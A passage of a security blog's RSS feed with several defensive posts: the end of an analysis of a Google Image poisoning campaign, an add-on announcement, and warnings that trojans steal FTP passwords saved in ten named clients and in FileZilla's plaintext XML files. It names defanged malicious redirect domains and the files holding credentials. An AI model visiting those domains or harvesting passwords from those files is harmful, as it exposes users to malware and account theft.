<p>The downloaded file have names like <a href="http://www.virustotal.com/file-scan/report.html?id=79445aa09ed88199b759aff8d79f1eaf476d00f7f376e87258d4340c60207dd4-1313092439" target="_blank">fix_pack107d_323.exe</a> and <a href="http://www.virustotal.com/file-scan/report.html?id=2fb82914c773d8ef63e45b7eb819a36d80903b95ec5b35f27941fe689653b71f-1313169909" target="_blank">fix_pack211d_323.exe</a> (links to VirusTotal reports) and their detection rates are usually less than <strong>30</strong>%.  I <a href="http://www.virustotal.com/file-scan/report.html?id=79445aa09ed88199b759aff8d79f1eaf476d00f7f376e87258d4340c60207dd4-1313171214" target="_blank">rechecked one file 20 hours later</a> and it&#8217;s detection rate improved from <strong>27</strong>% to <strong>33</strong>% &#8211; by that time the malicious server began to serve a different variation of the same file.</p>
<h4 id="mac">Redirects for Macs</h4>
<p>For Mac users, the redirect chain is different:</p>
<p><span style="color: #993300;"><strong>www4 .powersecurityex .rr .nu</strong></span> -&gt; <span style="color: #993300;"><strong>rdr .cz .cc</strong>/go.php?7&amp;said=323</span> -&gt;  <span style="color: #993300;"><strong>www .moviedir .com</strong>/1093251</span></p>
<p>By the way, the <span style="color: #993300;"><em><strong>moviedir</strong></em></span> site has Google PageRank <strong>4</strong>. And it shouldn&#8217;t be a surprise that many of its backlinks are from hacked sites.</p>
<h3 id="google">Google strikes back</h3>
<p>While hacked site still contain malicious code and may redirect Image searches to dangerous sites, Google has done a great job to mitigate the problem and removed the doorway page from its index.</p>
<p>I checked many hacked sites using the <strong>site:</strong> operator in Google search. Only very few of them had indexed doorways. And even when I could find links to doorways in web search results, Image search results for the same sites were free from poisoned images! (I have a feeling that for some hacked sites Google removed legitimate images as well)</p>
<p>I have also noticed the &#8220;<em>This site may be compromised</em>&#8221; warning on search results for home pages of many hacked sites.</p>
<p>At this time, both generations of this particular Google Image poisoning campaign seem to be neutralized by Google. Good job!</p>
<p><span style="color: #333333;">##</span><br />
Removing poisoned links from search result doesn&#8217;t completely solves the problem. There are still thousands of compromised sites that criminals can reuse for different attacks. Moreover, I still don&#8217;t have reliable information about the attack vector (what security holes hackers exploit and how they integrate malicious code into legitimate websites), so millions of WordPress blogs and Joomla sites are potentially vulnerable to similar attacks. If you have any information, please share it in comments or <a href="http://blog.unmaskparasites.com/contact/">contact me directly</a>.</p>
<p>If you work in a security department of a large shared hosting provider, <a href="http://blog.unmaskparasites.com/contact/">please contact me</a>. The chances are I know some compromised sites on your servers (<strong>5,000+</strong> sites on my list,  typically 1-2 sites per IP, but sometimes up to 300). Together we can find out what&#8217;s going on.</p>
<p>Thank you!</p>
<p><span style="color: #808080;"><strong>Related posts:</strong></span></p>
<ul>
<li><a href="http://blog.unmaskparasites.com/2011/08/05/hacked-wordpress-blogs-poison-google-images/">Hacked WordPress Blogs Poison Google Images</a></li>
<li><a href="http://blog.unmaskparasites.com/2011/05/05/thousands-of-hacked-sites-seriously-poison-google-image-search-results/">Thousands of Hacked Sites Seriously Poison Google Image Search Results</a></li>
<li><a href="http://blog.unmaskparasites.com/2010/04/14/introduction-to-website-parasites/">Introduction to Website Parasites</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://blog.unmaskparasites.com/2011/08/14/following-the-black-hat-seo-traces/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Readable SafeBrowsing Add-on for Firefox 4+</title>
		<link>http://blog.unmaskparasites.com/2011/04/28/readable-safebrowsing-add-on-for-firefox-4/</link>
		<comments>http://blog.unmaskparasites.com/2011/04/28/readable-safebrowsing-add-on-for-firefox-4/#comments</comments>
		<pubDate>Thu, 28 Apr 2011 17:06:24 +0000</pubDate>
		<dc:creator>Denis</dc:creator>
				<category><![CDATA[General]]></category>
		<category><![CDATA[Tips and Tricks]]></category>
		<category><![CDATA[Firefox]]></category>
		<category><![CDATA[safe browsing]]></category>

		<guid isPermaLink="false">http://blog.unmaskparasites.com/?p=783</guid>
		<description><![CDATA[I actively work with Google&#8217;s Safe Browsing diagnostic pages. They are a great source of information if you know how to interpret them. I usually read several dozen such diagnostic pages a day. Unfortunately, the readability of the diagnostic pages is quite poor.
To make my life easier, I created a simple script that highlighted important [...]]]></description>
			<content:encoded><![CDATA[<p>I actively work with Google&#8217;s Safe Browsing diagnostic pages. They are a great source of information if you know <a href="http://www.unmaskparasites.com/malware-warning-guide/#interpret">how to interpret</a> them. I usually read several dozen such diagnostic pages a day. Unfortunately, the readability of the diagnostic pages is quite poor.</p>
<p>To make my life easier, I created a simple script that highlighted important information so that I could see everything I needed at a glance. I had been using that script for more than a year before the recent Firefox 4 upgrade broke it (the technology I used is deprecated now). This was a serious loss for me. Every time I opened Safe Browsing diagnostic pages (several dozen times a day) I missed my script. Even though I knew the page layout very well, it took significantly more efforts to extract the same amount of information. The difference was almost the same as you might feel when you have to use a touchpad instead of a normal mouse.<br />
<span id="more-783"></span></p>
<h3 id="addon">Readable SafeBrowsing add-on</h3>
<p>Finally I&#8217;ve reworked my script as a fully compatible Firefox 4 add-on. What a relief! And now that I know how such a simple thing can improve your productivity and what it means to get back to original Google&#8217;s formatting, I think it may be worth it to share this add-on with you. I actually think Google should revamp the diagnostic pages itself. But since they don&#8217;t change the look and feel of these pages for a few years, I guess I&#8217;d better off publishing my add-on so that anyone can benefit from it.</p>
<p>If you use Firefox 4+ (which I consider the best choice when used along with <a href="https://addons.mozilla.org/en-US/firefox/addon/noscript/">NoScript</a>), you can install my <a href="https://addons.mozilla.org/en-US/firefox/addon/readable-safebrowsing/">Readable SafeBrowsing add-on</a> here (no additional installs required, no restart required):</p>
<p><a href="https://addons.mozilla.org/en-US/firefox/addon/readable-safebrowsing/">https://addons.mozilla.org/en-US/firefox/addon/readable-safebrowsing/</a></p>
<p>(You may see a warning when you click the &#8220;Download Now&#8221; button as the add-on hasn&#8217;t been reviewed by Mozilla yet.)</p>
<h3 id="features">Features</h3>
<ul>
<li>Different colors for <span style="color: #ff0000;">suspicious</span> and <span style="color: #008000;">not suspicious</span> reports. &#8212;  The wording is almost the same for flagged sites and clean sites. The  only difference is the &#8220;<em>not</em>&#8221;  word in the middle of a sentence so you can&#8217;t  tell the status of the report at a glance.</li>
<li>Highlights the base  URL covered by the report. &#8212; It may differ from the requested URL. For  example, if you request a diagnostic page for a <strong>subdomain.example.org</strong> the report may actually show data for the whole <strong>example.org</strong>, which means that the problem can&#8217;t be resolved at the subdomain level.</li>
<li>Highlights  date of the last scan and the date when the problem was last found. &#8212;  This is important to understand how up-to-date the report is, whether  the original problem is still detectable, whether Google rescanned the  site after a request submitted via Webmaster Tools.</li>
<li>Highlights when the report was last updated. &#8212; Important if you are not sure whether Google has picked up your latest changes.</li>
</ul>
<p>Currently it works with Safe Browsing diagnostic pages in English, German, Spanish, French and Russian.</p>
<h3 id="screenshots">Before/After screenshots</h3>
<p><strong>Before:</strong> not suspicious</p>
<div style="margin-bottom: 12px; margin-top: 12px; text-align: center;"><img src="http://blog.unmaskparasites.com/wp-content/uploads/2011/04/before-not-suspicious.gif" border="0" alt="Before: not suspicious " /></div>
<p><strong>After:</strong> not suspicious</p>
<div style="margin-bottom: 12px; margin-top: 12px; text-align: center;"><img src="http://blog.unmaskparasites.com/wp-content/uploads/2011/04/after-not-suspicious.gif" border="0" alt="After: not suspicious" /></div>
<p><strong>Before:</strong> suspicious</p>
<div style="margin-bottom: 12px; margin-top: 12px; text-align: center;"><img src="http://blog.unmaskparasites.com/wp-content/uploads/2011/04/before-suspicious.gif" border="0" alt="Before: suspicious" /></div>
<p><strong>After:</strong> suspicious</p>
<div style="margin-bottom: 12px; margin-top: 12px; text-align: center;"><img src="http://blog.unmaskparasites.com/wp-content/uploads/2011/04/after-suspicious.gif" border="0" alt="After: suspicious" /></div>
<h3 id="testing">Testing</h3>
<p>Once you install it, you can open any Safe Browsing diagnostic page   and enjoy the improved look&amp;feel. For example, here&#8217;s the diagnostic   page for this blog:<br />
<a href="http://www.google.com/safebrowsing/diagnostic?site=blog.unmaskparasites.com" target="_blank">http://www.google.com/safebrowsing/diagnostic?site=blog.unmaskparasites.com</a></p>
<p>Or you can construct a URL of a Safe Browsing diagnostic page for any site yourself:</p>
<p><em>http://www.google.com/safebrowsing/diagnostic?site=<strong>&lt;example.com/path&gt;</strong></em><br />
replace (the <strong>&lt;example.com/path&gt;</strong> part with the address of the desired site/page)</p>
<p>Don&#8217;t forget that you can also find links to Safe Browsing diagnostic pages in <a href="http://www.UnmaskParasites.com">Unmask Parasites</a> reports (both for the pages that you check and the pages they link to).</p>
<p>#</p>
<p>Let me know what you think about it. Is there something that can be changed or improved? Your feedback is welcome.</p>
<p><span style="color: #888888;"><strong>Related posts:</strong></span></p>
<ul>
<li><a href="http://www.unmaskparasites.com/malware-warning-guide/">Practical Guide to Dealing With Google&#8217;s Malware Warnings</a></li>
<li><a href="http://blog.unmaskparasites.com/2009/04/07/using-wget-to-detect-hijacked-search-engine-traffic/"></a><a href="https://addons.mozilla.org/en-US/firefox/addon/readable-safebrowsing/">Readable SafeBrowsing add-on description at Mozilla.org</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://blog.unmaskparasites.com/2011/04/28/readable-safebrowsing-add-on-for-firefox-4/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Unused Programs &#8211; Real Threats</title>
		<link>http://blog.unmaskparasites.com/2011/04/13/unused-programs-real-threats/</link>
		<comments>http://blog.unmaskparasites.com/2011/04/13/unused-programs-real-threats/#comments</comments>
		<pubDate>Wed, 13 Apr 2011 12:30:04 +0000</pubDate>
		<dc:creator>Denis</dc:creator>
				<category><![CDATA[Tips and Tricks]]></category>
		<category><![CDATA[Website exploits]]></category>
		<category><![CDATA[FTP]]></category>
		<category><![CDATA[KeePass]]></category>
		<category><![CDATA[password]]></category>
		<category><![CDATA[SmartFTP]]></category>

		<guid isPermaLink="false">http://blog.unmaskparasites.com/?p=776</guid>
		<description><![CDATA[Recently, I helped one company to remediate security problems with their four websites. It was quite an usual iframe injection attack. FTP logs clearly showed how attackers used FTP to infect legitimate files on server. So the question was, how could FTP credentials be stolen?
Of course, I pointed them to my blog post where I [...]]]></description>
			<content:encoded><![CDATA[<p>Recently, I helped one company to remediate security problems with their <em>four</em> websites. It was quite an usual iframe injection attack. FTP logs clearly showed how attackers used FTP to infect legitimate files on server. So the question was, how could FTP credentials be stolen?</p>
<p>Of course, I pointed them to my blog post where I described <a href="http://blog.unmaskparasites.com/2009/09/23/10-ftp-clients-malware-steals-credentials-from/">how malware stole passwords</a> and all the login details saved in 10 most popular FTP clients (e.g. Filezilla, CuteFTP, Total Commander, etc.). Indeed, recent malware scan revealed two suspicious items on their computer. One of them was identified as &#8220;<em>Spyware.Passwords</em>&#8220;. The only problem was the site owner said they didn&#8217;t use those FTP clients and kept all passwords in <a href="http://keepass.info/">KeePass</a>. Moreover, they manages <strong>50</strong> websites and only four of them got infected.</p>
<p>The answer became quite clear when they found an old copy of SmartFTP on their computer. There had been <strong>5</strong> FTP account (including passwords) saved there. Four of them were the four hacked sites! So what about the fifth? No doubt all five site credentials had been stolen, but the fifth site wasn&#8217;t hacked because its password had been changed after the last use of SmartFTP &#8212; so the stolen password was not valid by the moment of the hacker attack. This also explains why the rest 45 sites were not hacked &#8212; their passwords weren&#8217;t stolen.</p>
<h3>Lesson learned</h3>
<p>Not only should you avoid saving passwords in your current FTP client, but also make sure they are not saved in old programs that may still reside on your computer.</p>
<p>Related posts:</p>
<ul>
<li><a href="http://blog.unmaskparasites.com/2009/09/23/10-ftp-clients-malware-steals-credentials-from/">10 FTP Clients Malware Steals Credentials From</a></li>
<li><a href="http://blog.unmaskparasites.com/2009/09/01/beware-filezilla-doesnt-protect-your-ftp-passwords/">Beware: FileZilla Doesn’t Protect Your Passwords</a></li>
<li><a href="http://blog.unmaskparasites.com/2010/04/14/introduction-to-website-parasites/">Introduction to Website Parasites</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://blog.unmaskparasites.com/2011/04/13/unused-programs-real-threats/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>10 FTP Clients Malware Steals Credentials From</title>
		<link>http://blog.unmaskparasites.com/2009/09/23/10-ftp-clients-malware-steals-credentials-from/</link>
		<comments>http://blog.unmaskparasites.com/2009/09/23/10-ftp-clients-malware-steals-credentials-from/#comments</comments>
		<pubDate>Wed, 23 Sep 2009 20:42:54 +0000</pubDate>
		<dc:creator>Denis</dc:creator>
				<category><![CDATA[Tips and Tricks]]></category>
		<category><![CDATA[FileZilla]]></category>
		<category><![CDATA[FTP]]></category>
		<category><![CDATA[password]]></category>

		<guid isPermaLink="false">http://blog.unmaskparasites.com/?p=307</guid>
		<description><![CDATA[This year, most successful malware attacks against legitimate websites used stolen FTP credentials. I always suggest that you don&#8217;t store passwords in your FTP programs where they are easily accessible by any program running on your computer (including malware). For example, in FileZilla, FTP passwords are stored as plain text in configuration files. And FileZilla [...]]]></description>
			<content:encoded><![CDATA[<p>This year, most successful malware attacks against legitimate websites used stolen FTP credentials. I always suggest that you don&#8217;t store passwords in your FTP programs where they are easily accessible by any program running on your computer (including malware). For example, <a href="http://blog.unmaskparasites.com/2009/09/01/beware-filezilla-doesnt-protect-your-ftp-passwords/">in FileZilla, FTP passwords are stored as plain text</a> in configuration files. And FileZilla is not the only FTP client malware authors target in their hunt for website credentials.</p>
<p>In the recent post about Quicksilver malware network, you can read that the trojan behind the infamous iframe injection attack &#8220;<em>looks for all kinds of configuration files of ftp programs in their default install paths</em>&#8220;. I contacted the researcher and asked if he had a full list of the FTP clients this malware looks for.<br />
<span id="more-307"></span></p>
<h3>And here&#8217;s the list:</h3>
<ol>
<li>CoffeeCup <a href="http://www.coffeecup.com/direct-ftp/">Direct FTP</a></li>
<li>TransSoft <a href="http://www.ftpcontrol.com/">FTP Control 4</a></li>
<li><a href="http://www.coreftp.com/">Core FTP</a></li>
<li>GlobalScape <a href="http://www.cuteftp.com/products/ftp_clients.aspx">CuteFTP</a></li>
<li><a href="http://www.farmanager.com/index.php?l=en">Far Manager</a> (with FTP plugin)</li>
<li><a href="http://filezilla-project.org/">FileZilla</a></li>
<li><a href="http://www.flashfxp.com/">FlashFXP</a></li>
<li><a href="http://www.smartftp.com/">SmartFTP</a></li>
<li><a href="http://www.softwarea.com/ftp.htm">FTP Navigator</a></li>
<li><a href="http://www.ghisler.com/">Total Commander</a></li>
</ol>
<p>The list looks trustworthy. The same FTP programs can be found on the  <a href="http://images.kaspersky.com/ru/vlill/golov_spambot0909_pic09.png">screenshot of a trojan code </a>from <a href="http://www.securelist.com/ru/analysis/208050559/Fabrika_nazhivy">Kaspersky&#8217;s article</a> (in Russian) about the same attack.</p>
<h3>So what if you are using one of these FTP client?</h3>
<p>Keep using it. Just don&#8217;t save your passwords there.  Enter passwords every time you connect to remote servers. Or invest some time to read your program&#8217;s documentation and find out what they can offer to security-minded webmasters. Some clients support public key authorization, some offer encrypted site managers, etc.</p>
<p>Just to be on the safe side, scan your computer for malware. Then scan your site for signs of break-ins (you might want to start with <a href="http://www.UnmaskParasites.com">Unmask Parasites</a> checks). If you have any suspicion, change all passwords ASAP.</p>
<p>And don&#8217;t think if you are using some other FTP client you can safely store your passwords in it. There may be another trojan that specifically targets your favorite program.</p>
<h3>Move to secure file transfer protocols.</h3>
<p>BTW, in my <a href="http://blog.unmaskparasites.com/2009/09/20/tweet-week-sept-14-20-2009/">previous post</a> you could see a link to an article about another <a href="http://www.sophos.com/blogs/sophoslabs/?p=6516">trojan that sniffs FTP traffic and steals credentials</a>. If you use FTP, you can&#8217;t hide your passwords from this trojan &#8211; FTP protocol doesn&#8217;t support any encryption.</p>
<p>The answer to this problem is secure protocols: like <a href="http://en.wikipedia.org/wiki/SSH_file_transfer_protocol">SFTP</a> or <a href="http://en.wikipedia.org/wiki/FTPS">FTPS</a>. Most FTP clients support these protocols, so you don&#8217;t need to find a new program. However, if you are on a shared server, make sure that your hosting plan includes any of these secure protocols.</p>
<p><span style="color: #888888;"><strong>Similar posts:</strong></span></p>
<ul>
<li><a href="http://blog.unmaskparasites.com/2009/09/01/beware-filezilla-doesnt-protect-your-ftp-passwords/">Beware: FileZilla Doesn’t Protect Your Passwords</a></li>
<li><a href="http://blog.unmaskparasites.com/2009/09/17/quicksilver-malware-network/">Quicksilver Malware Network</a></li>
<li><a href="http://blog.unmaskparasites.com/2010/04/14/introduction-to-website-parasites/">Introduction to Website Parasites</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://blog.unmaskparasites.com/2009/09/23/10-ftp-clients-malware-steals-credentials-from/feed/</wfw:commentRss>
		<slash:comments>20</slash:comments>
		</item>
		<item>
		<title>Beware: FileZilla Doesn&#8217;t Protect Your Passwords</title>
		<link>http://blog.unmaskparasites.com/2009/09/01/beware-filezilla-doesnt-protect-your-ftp-passwords/</link>
		<comments>http://blog.unmaskparasites.com/2009/09/01/beware-filezilla-doesnt-protect-your-ftp-passwords/#comments</comments>
		<pubDate>Tue, 01 Sep 2009 18:51:45 +0000</pubDate>
		<dc:creator>Denis</dc:creator>
				<category><![CDATA[Tips and Tricks]]></category>
		<category><![CDATA[FileZilla]]></category>
		<category><![CDATA[FTP]]></category>
		<category><![CDATA[hosts]]></category>
		<category><![CDATA[password]]></category>

		<guid isPermaLink="false">http://blog.unmaskparasites.com/?p=277</guid>
		<description><![CDATA[2009 is the year of malware attacks that use stolen FTP credentials to infect legitimate web sites. Hundreds of thousands websites have been hacked this way and suffered from hidden iframe injections, Gumblar, redirections to bogus anti-virus sites, etc.
The success of those attacks is based on the fact that a significant percentage of web surfer [...]]]></description>
			<content:encoded><![CDATA[<p><span style="color: #333333;"><strong>2009</strong></span> is the year of malware attacks that use stolen FTP credentials to infect legitimate web sites. <span style="color: #333333;"><strong>Hundreds of thousands websites</strong></span> have been hacked this way and suffered from <a href="http://blog.unmaskparasites.com/2009/06/25/hidden-cn-iframes-are-still-prevalent/">hidden iframe injections</a>, <a href="http://blog.unmaskparasites.com/2009/05/07/gumblar-cn-exploit-12-facts-about-this-injected-script/">Gumblar</a>, redirections to <a href="http://blog.unmaskparasites.com/2008/12/08/unmasking-the-antivirus-2009-htaccess-exploit/">bogus anti-virus sites</a>, etc.</p>
<p>The success of those attacks is based on the fact that a significant percentage of web surfer are webmasters and site owners themselves. Once a computer of a site owner is infected, malware can steal his/her FTP credentials and use them to make the site distribute malware to unsuspecting visitors, who, in turn, may also be site owners.  As a result, we see rapid growth in number of compromised websites.</p>
<p>There are quite a few hypotheses about how cibercriminals steal the credentials: traffic sniffing, using keyloggers, etc. But the most viable is that trojans simply extract everything they need from configuration files of popular FTP programs.  Let me show how easy it can be done.<br />
<span id="more-277"></span></p>
<h3>FileZilla</h3>
<p>Lets take a very popular free FTP client called <a href="http://filezilla-project.org/">FileZilla</a>. For this experiment, I downloaded and installed the latest version 3.2.7.1.</p>
<h3>Adding new site</h3>
<p>Then I added a fictitious site &#8220;<span style="color: #333333;"><strong>example.com</strong></span>&#8221; with username &#8220;<span style="color: #333333;"><strong>unmask</strong></span>&#8221; and password &#8220;<span style="color: #333333;"><strong>parasites</strong></span>&#8220;. Logontype is &#8220;<span style="color: #333333;"><strong>Normal</strong></span>&#8221; &#8211; this is probably the most popular type since it allows one-click connection and doesn&#8217;t require that you enter username/password every time. Then I clicked OK to save the new settings.</p>
<div style="margin-bottom: 12px; margin-top: 12px; text-align: center;"><img src="http://blog.unmaskparasites.com/wp-content/uploads/2009/09/adding-new-site.png" border="0" alt="Adding new site" /></div>
<h3>FileZilla configuration files</h3>
<p>FileZilla is a cross-platform application. That&#8217;s why it stores its settings in platform-neutral XML files.</p>
<div style="margin-bottom: 12px; margin-top: 12px; text-align: center;"><img src="http://blog.unmaskparasites.com/wp-content/uploads/2009/09/filezilla-configuration-files.png" border="0" alt="FileZilla configuration files" /></div>
<h3>sitemanager.xml</h3>
<p>XML files are human readable. This is what I discovered in the <em>sitemanager.xml</em> file right after I added a new site to FileZilla.</p>
<div style="margin-bottom: 12px; margin-top: 12px; text-align: center;"><img src="http://blog.unmaskparasites.com/wp-content/uploads/2009/09/sitemanager-xml.gif" border="0" alt="sitemanager.xml" /></div>
<p>As you can see, everything is stored in plain text, including the password.</p>
<h3>filezilla.xml</h3>
<p>When I tried to connect to &#8220;example.com&#8221;, FileZilla added the following &lt;LastServer&gt; section to filezilla.xml. Again, everything in plain text.</p>
<div style="margin-bottom: 12px; margin-top: 12px; text-align: center;"><img src="http://blog.unmaskparasites.com/wp-content/uploads/2009/09/filezilla-xml.gif" border="0" alt="filezilla.xml" /></div>
<h3>Quick connect</h3>
<p>FileZilla has a quickconnect bar that allows you to connect to servers without adding them to the Site Manager.  When I used it, similar information was added to <em>recentservers.xml</em> (needless to say, unencrypted).</p>
<h3>Anyone wants my passwords?</h3>
<p>As you can see, any program on your computer, legitimate and malicious, can read this information. Moreover, any person who have access (even for a couple of minutes only) to your computer, can easily steal your FTP credentials. And there are<a href="http://www.viruslist.com/en/viruses/encyclopedia?virusid=147349"> known trojans that do steal personal information</a> from configuration data of popular programs (thanks <a href="http://wirewatcher.wordpress.com/">Alec Waters</a> who sent me this link).</p>
<p>Did you know this? Can you trust every program on your computer? Have you recently had malware issues? What about spyware that your anti-virus failed to detect (no program is perfect)?<br />
<a name="design"></a></p>
<h3>This is &#8220;by design&#8221;</h3>
<p>At FileZilla they <a href="http://forum.filezilla-project.org/viewtopic.php?f=2&amp;t=7800">clearly state</a> that they don&#8217;t want to encrypt or hide your sensitive information:</p>
<blockquote><p>This is by design, it is the task of the operating system to protect your private data.</p></blockquote>
<p>Probably they are right. Unfortunately, there is no such thing as 100% secure operating system. And in case of Windows, where viruses and spyware are not that rare, I would be very concerned if I knew that my data is protected by the operating system only.</p>
<p>I know, that encrypting passwords is not a good solution either. Malware authors can reverse-engineer FTP clients and extract the decryption algorithm (in case of open source programs they only need to read the source code). So encryption can&#8217;t stop malware from stealing FTP credentials. It can only save you from eyes of strangers who have access to your computer.</p>
<p>The protection can only be sufficiently strong if users are required to enter their &#8220;master password&#8221; every time they open the program (like in <a href="http://keepass.info/">KeePass</a>). However this approach makes the convenience of storing FTP passwords in FTP clients questionable &#8211; you still have to remember and enter some password on every use. That&#8217;s why it is not used in FTP programs (that I know of).<br />
<a name="flaw"></a></p>
<h3>The flaw in the design</h3>
<p>So I agree with FileZilla. It is sensible to store FTP credential in plain text when you choose the &#8220;Normal&#8221; logon type. But <span style="color: #333333;"><strong>only if users are aware of the risks</strong></span>.</p>
<p>The problem is the majority of FTP programs&#8217; users trust their software and never think about how their private information is handled and if there are any security risks associated with the way they use the software. And as you now know the risks are real and substantial! There is a flaw in the design if it lets people feel secure when they are not.</p>
<p>How about the following change of the design? The &#8220;<span style="color: #333333;"><strong>Normal</strong></span>&#8221; logon type can be renamed to &#8220;<span style="color: #333333;"><strong>Normal (insecure)</strong></span>&#8220;. And when users choose this type, they see a warning saying that their <span style="color: #333333;"><em><strong>FTP credentials will be saved in plain text and can be easily stolen if the computer&#8217;s security is compromised</strong></em></span>.  And the Quickconnect toolbar should never save passwords. If there is a need to save the &#8220;quick connection&#8221;, why not offer to add it to the Site Manager?</p>
<p>I believe, the impact of these small changes would be significant. One-click FTP connections are very convenient. But, as always, the convenience comes at a price. And if webmasters know this price, they will be more prepared to deal with potential security problems.<br />
<a name="safe"></a></p>
<h3>Using FileZilla the safe way</h3>
<p>FileZilla is a great FTP client and I use it myself. But since it doesn&#8217;t protect your FTP credentials, you should protect them yourselves. Here is what you can do:</p>
<p><span style="color: #333333;"><strong>1. Don&#8217;t use the &#8220;Normal&#8221; logon type.</strong> </span>There are the &#8220;<span style="color: #333333;"><strong>Ask for password</strong></span>&#8221; and the &#8220;<span style="color: #333333;"><strong>Interactive</strong></span>&#8221; types that won&#8217;t save your passwords on disk. So malware simply won&#8217;t be able to get enough information from FileZilla configuration files to hack your sites.</p>
<p style="padding-left: 30px;"><span style="color: #333333;"><strong>Pros</strong></span></p>
<ul>
<li>Malware cannot steal your FTP credential from configuration files.</li>
</ul>
<p style="padding-left: 30px;"><span style="color: #333333;"><strong>Cons</strong></span></p>
<ul>
<li>You&#8217;ll have to enter your password every time you connect to your site.</li>
<li>It won&#8217;t save you from more sophisticated spyware such as keyloggers and traffic sniffers. But I hope this sort of trojans can be better detected by you antivirus tools since they need to hook known system functions. To protect yourself from traffic sniffers, always use <a href="http://en.wikipedia.org/wiki/SSH_File_Transfer_Protocol">SFTP</a> instead of FTP (if possible).</li>
</ul>
<p><span style="color: #333333;"><strong>2. </strong><strong>Hosts trick.</strong></span> If you manage multiple web sites, interactive logon types may be really inconvenient. There is a trick that can let you use the &#8220;Normal&#8221; logon type in a more secure manner. You should create aliases of your sites&#8217; addresses in the &#8220;<span style="color: #333333;"><strong>hosts</strong></span>&#8221; file (on Windows,  you can find it in <span style="color: #333333;"><strong>C:\WINDOWS\system32\drivers\etc\</strong></span>).</p>
<p>For example you have a site &#8220;example.com&#8221; with an IP-address &#8220;208.77.188.166&#8243;. To create an alias you need to add the following line into the <span style="color: #333333;"><strong>hosts</strong></span> file:</p>
<p><code>208.77.188.166         my_example</code></p>
<p>&#8220;<span style="color: #333333;"><strong>my_example</strong></span>&#8221; will work the same way as &#8220;<span style="color: #333333;"><strong>example.com</strong></span>&#8221; when you use it on your computer.  However, on other computers it won&#8217;t make any sense. Now use this alias in FTP connection settings instead of &#8220;example.com&#8221;.  If hackers manage to steal your FTP credentials, all they&#8217;ll have will be: (<span style="color: #993300;">host: my_example, user: unmask, password: parasites</span>) &#8211; the username/password pair is valid, but the host name doesn&#8217;t make any sense to them. It&#8217;s like having a key and not knowing where the door is.</p>
<p style="padding-left: 30px;"><span style="color: #333333;"><strong>Pros</strong></span></p>
<ul>
<li>Once you have added new aliases to the <span style="color: #333333;"><strong>hosts</strong></span> file and to FileZilla Site Manager, you can enjoy the ease of one-click connections.</li>
</ul>
<p style="padding-left: 30px;"><span style="color: #333333;"><strong>Cons</strong></span></p>
<ul>
<li>This trick will only work as long as malware steals FTP credentials from configuration files verbatim (and I have proofs that at least some malware steal the data verbatim).  If they only add a simple check that converts host names to IP-addresses before sending the credentials to their central database, the trick will be useless.  This trick is better than no protection at all, but you should not count on it.</li>
<li>You&#8217;ll need to update the <span style="color: #333333;"><strong>hosts</strong></span> file if IP-addresses change.</li>
</ul>
<p><span style="color: #333333;"><strong>3. </strong><strong>Public Key Authentication.</strong></span> If your hosting plan included <a href="http://en.wikipedia.org/wiki/Secure_Shell">SSH</a> (secure shell), you can use FileZilla in SFTP mode. One of convenient SSH features is public key authentication. And FileZilla supports this type of authorization (I didn&#8217;t use it myself, but at least have seen the UI in the &#8220;Settings&#8221; dialog). FileZilla recognizes PuTTY&#8217;s Pageant, so the configuration should be easy if you already use <a href="http://www.chiark.greenend.org.uk/~sgtatham/putty/">PuTTY</a> for SSH.</p>
<p style="padding-left: 30px;"><strong><span style="color: #333333;">Pros</span></strong></p>
<ul>
<li> Secure one-click connections.</li>
</ul>
<p style="padding-left: 30px;"><span style="color: #333333;"><strong>Cons</strong></span></p>
<ul>
<li>This authentication method will only work if your hosting plan includes SSH/SFTP. Unfortunately, this option is rearly included into shared hosting plans.</li>
<li>Creating the keys and configuring FileZilla to use them is not a trivial process.</li>
<li>You might still have to enter a pass phrase when adding keys to the Pageant.</li>
</ul>
<h3>Other FTP programs</h3>
<p>In this article I reviewed FileZilla only because it&#8217;s a popular FTP client that I have on my computer and it was very easy to demonstrate how little it does to protect users&#8217; FTP credentials. However the same concerns apply to all other  programs that have FTP functions: classical FTP clients, web page editors, file managers. Popular applications like DreamWeaver, CuteFTP, Total Commander, etc. account for majority of FTP credentials leaks.</p>
<h3>Be proactive</h3>
<p>Now ask yourself a few questions. Do you know where and how your FTP client stores your passwords? Will they be safe if a malicious program program penetrates into your computer? Do you know how to protect your FTP credentials?</p>
<p>If you&#8217;ve recently had malware issues with your computer or just suspect that your systems is infected or contains programs from untrusted sources, it&#8217;s time to change all passwords and scan your websites for malicious content that hackers might have already uploaded there (my <a href="http://www.UnmaskParasites.com">Unmask Parasites</a> online tool is a good starting point as it helps detect hidden illicit content in your web page).</p>
<p>Thanks for reading this rather long post. I hope it was worth  it. Do you have anything to add? Any other security concerns associated with FTP programs? Any tricks to keep your FTP credentials secure? Your comments are welcome.</p>
<p><span style="color: #808080;"><strong>Similar posts:</strong></span></p>
<ul>
<li><a href="http://blog.unmaskparasites.com/2009/05/13/noscript-helps-reveal-website-exploits-telegram-com-case/">NoScript Helps Reveal Website Exploits – Telegram .com Case</a></li>
<li><a href="http://blog.unmaskparasites.com/2009/04/22/vulnerability-advisories-for-third-party-scripts/">Vulnerability Advisories for Third-Party Scripts</a></li>
<li><a href="http://blog.unmaskparasites.com/2009/04/07/using-wget-to-detect-hijacked-search-engine-traffic/">Using Wget to Detect Hijacked Search Engine Traffic</a></li>
<li><a href="http://blog.unmaskparasites.com/2009/06/25/hidden-cn-iframes-are-still-prevalent/">Hidden CN Iframes Are Still Prevalent</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://blog.unmaskparasites.com/2009/09/01/beware-filezilla-doesnt-protect-your-ftp-passwords/feed/</wfw:commentRss>
		<slash:comments>39</slash:comments>
		</item>
		<item>
		<title>Why is WordPress 2.8.2 a Critical Update?</title>
		<link>http://blog.unmaskparasites.com/2009/07/20/why-wordpress-2-8-2-is-a-critical-update/</link>
		<comments>http://blog.unmaskparasites.com/2009/07/20/why-wordpress-2-8-2-is-a-critical-update/#comments</comments>
		<pubDate>Mon, 20 Jul 2009 15:49:55 +0000</pubDate>
		<dc:creator>Denis</dc:creator>
